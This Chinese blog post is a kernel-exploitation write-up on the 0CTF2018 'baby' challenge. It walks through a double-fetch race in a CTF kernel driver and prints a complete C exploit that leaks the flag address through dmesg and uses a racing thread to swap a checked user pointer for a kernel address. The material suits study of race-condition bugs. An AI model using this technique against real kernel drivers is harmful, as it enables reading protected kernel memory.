kernel-pwn学习(4)--Double Fetch&&0CTF2018-baby

这个题目其实总体来说漏洞不算复杂,就是一个挺简单的条件竞争

题目

附件

附件
在这里插入图片描述
这里面其实只需要下载.tar.gz

附件分析

别被命名欺骗了,其实只是个tar
在这里插入图片描述
在这里插入图片描述
这里的core.cpio是没有压缩过的,所以我们只需要这样就可以
在这里插入图片描述
在这里插入图片描述
这里面exp,exp,c core.cpio,以及fs.sh都可以删了
fs.sh其实就是帮我们生成cpio

分析init

在这里插入图片描述
这里可以看到驱动就是baby.ko,对应的打开/dev/baby就可以访问,别的就没什么好说的,这里由于没有开启dmesg_restrict,所以我们可以通过执行dmesg查看printk的内容
再打包一份core.cpio
在这里插入图片描述

分析start.sh

在这里插入图片描述
没有开启SMAP保护,也就是内核态可以直接访问用户态数据
在这里插入图片描述
这里就是配置了非单核单线程启动,可以触发条件竞争,处于可能的调试,我们加上-s

分析驱动

这个里面函数不多,下面三个没什么用,主要上面三个
在这里插入图片描述

ioctl

这里不知道怎么回事,我识别有点问题,v2就是我们第三个参数
在这里插入图片描述
这里其实就是当我们ioctl(fd,a2,a3)直接调用
sub_25(fd,a2,a3),那么我们分析一下sub_25

sub_25

两个功能
在这里插入图片描述
第一个功能泄露flag内核地址,这里答应的是%p,也就是把flag里面保存的地址打出来,可以看到也就是aFlagThisWillbe的地址
在这里插入图片描述
这里面保存着我们最后flag
在这里插入图片描述
这是第二个功能
在这里插入图片描述

chk_range_not_ok

在这里插入图片描述
这里其实就是
return shangxian<(addr+pianyi)
那我们看看后面那个上限是什么意思
这里我们通过调试来看一下吧
十分简单的测试代码

#include<sys/ioctl.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
	int fd=open("/dev/baby",2);
	int a=2;
        ioctl(fd, 0x1337, &a);
	close(fd);
}

这里有一个问题,希望有大佬可以解答
一般我们都是通过这种方法找加载地址,但这个明显是错的
在这里插入图片描述
通过这里我找到了地址
在这里插入图片描述
修改后的init,因为flag硬编码在了驱动里,测试flag我也删了
在这里插入图片描述

在这里插入图片描述
rax赋值位current_task
在这里插入图片描述
在这里插入图片描述
rdx值如上,看着是不是很熟悉,没错这个就是用户态的最高地址,所以通过调试我们发现,*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952)就是用户态的最高地址
那么结合具体if内容,要想满足if
指令=0x1337
shangxian>=传入的地址+16
shangxian>=(Doward)传入的地址+*(int *)传入的地址+8
这两个比较其实是这个意思
我们传入的其实是个结构体的地址

struct flag_object{
	long flag_addr;
	long length;
}

所以第一个shangxian比较是判断我们传入的结构体的地址是不是用户态
第二个判断是我们的flag是不是用户态
由于这里传入的是指针,我们可以利用条件竞争,当他过了if之后,我们把结构体的flag_addr修改为内核态
在这里插入图片描述
长度也要匹配,strlen不包括\0,所以是33
在这里插入图片描述
同时这个里面还会逐个比较flag是不是一样,一样才会打印,所以我们只能通过条件竞争修改指针
在这里插入图片描述

攻击

泄露flag地址

在这里插入图片描述
因为printk只会显示在调试信息里,所以我们执行对应操作后要查看dmesg,当然这里dmesg_restrict=0,也就是普通用户也可以看,然后哦就是比较加上赋值

构造我们的flag结构体

在这里插入图片描述

编写修改flag的子函数

在这里插入图片描述
finish就是个标志,我们在主函数里面发送足够多次的请求之后就设为1

exp

#include<sys/ioctl.h>
#include<fcntl.h>
#include <unistd.h>
#include<pthread.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
long flag_addr;
void get_kernel_flag_addr(int fd){
	ioctl(fd,0x6666, 1);
	system("dmesg|tail >/tmp/1.txt");
	FILE *fd1=fopen("/tmp/1.txt","r");
	char buf[120];
	while(fgets(buf,120,fd1)){
		if(strstr(buf,"Your flag is at")){
			char hex[17];
			strncpy(hex,buf+31,16);
			sscanf(hex,"%lx",&flag_addr);
			break;
		}
	}
	fclose(fd1);

}

struct flag_structure{
	long addr;
	long len;
};
char fake_flag[]="fake";

int finish=0;
void chang_flag_addr(struct flag_structure *s){
	while(finish==0){
	s->addr=flag_addr;//修改为内核flag地址,回调函数
	}
}
int main(){
	int fd=open("/dev/baby",2);
     get_kernel_flag_addr(fd);
	struct flag_structure flag;
	flag.addr=(long)fake_flag;
	flag.len=33;
	pthread_t p1;
	pthread_create(&p1, NULL,chang_flag_addr,&flag);//first parm is addr of pthread object,second set NULL,third is the callback_fun addr,fourth is the param
	for(int i=0;i<10000;i++)
	{
	 ioctl(fd, 0x1337, &flag);
	 flag.addr=(long )fake_flag;//we must modify addr to user space ,otherwith we can not  pass if check
	}	
	finish=1;
	system("dmesg|grep flag{");
	close(fd);
}
	

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值